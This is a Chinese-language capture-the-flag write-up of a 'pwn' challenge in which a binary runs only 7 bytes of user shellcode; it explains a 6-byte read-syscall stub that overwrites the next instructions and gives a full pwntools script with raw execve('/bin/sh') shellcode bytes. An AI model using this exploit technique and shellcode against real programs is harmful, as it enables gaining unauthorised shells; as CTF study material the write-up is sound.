一个有趣的PWN 铁三云贵第三题

前言

五月份参加的铁三区域赛。当时自己还是一个pwn超级小白。连栈溢出都不会做。这道是里面分值最高的pwn题困扰了我很久,现在做出来很有意思。

程序保护

第一天排名
全保护开启

程序功能

第一天排名
程序首先mmap两处随机的地址空间,都具有可写权限。一处具有可执行权限
第一天排名
之后要求我们输入7个字节的shellcode。放入刚才mmap的空间中。之后执行我们的shellcode。
第一天排名
程序创造了这样一种环境。mmap出两片空间,一处保存代码,一处用于伪造栈使用。除了RSP,RIP其他所有寄存器清0。给我们任意代码执行权限,但只有7个字节。

思路汇总

1

最直接想到的肯定是execve(bin/sh)尝试,这里sh字符串会占2个字节,syscall两个字节,sh地址还不可知。大小完全不够。

2

之后想到由于寄存器全部请0。可以直接使用0号调用read。我们可以使用的地址只有rsp一个寄存器。于是push rsp pop rsi push rsi push rdx syscall ret就可以向栈中写入shellcode并返回。。但是ret不到shellcode中去。因为我们没有shellcode的地址
第一天排名

3

经过对程序mmap过程的思考。发现若两次mmap的随机地址都已分配,则会造成两处内存空间相邻。且伪造栈的空间在上方!经过2我们可以实现对伪造栈空间的写入。如果两空间相邻我们可以覆盖到我们接下来要执行的指令!!
push rsp pop rsi push rsi push rdx syscall
这时候发现只需要6字节大小的shellcode。比条件还要小一字节2333333.
覆盖后我们可以无限写入完成利用。(伪造大小rdx时,rdx不能太大,于是我选择将 push rsi push rdx改为mov edx,esi,字节长度不变)

脚本

p=process('./seven')
p.readuntil('Show me your shellcode:')
payload=chr(0x54)+chr(0x5e)+chr(0x8b)+chr(0xd6)+chr(0x0F)+chr(0x05)

p.writeline(payload)
z=[
0xB8, 0x3B, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xFE, 0x48, 0x81, 0xC7, 0x4e, 0x0B, 0x00, 0x00, 0x4b, 0x48,0x33, 0xD2, 0x48,
0x33, 0xF6, 0x0F, 0x05, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00]
zz=''
for i in range(0,len(z)):
    zz+=chr(z[i])
payload='b'*0xb36+zz
p.writeline(payload)
p.interactive()

总结

史上最短shellcode。。。得益于它所给的环境。当时看着x86指令表好久无果。在昨天晚上偶然尝试直接找到了思路。开心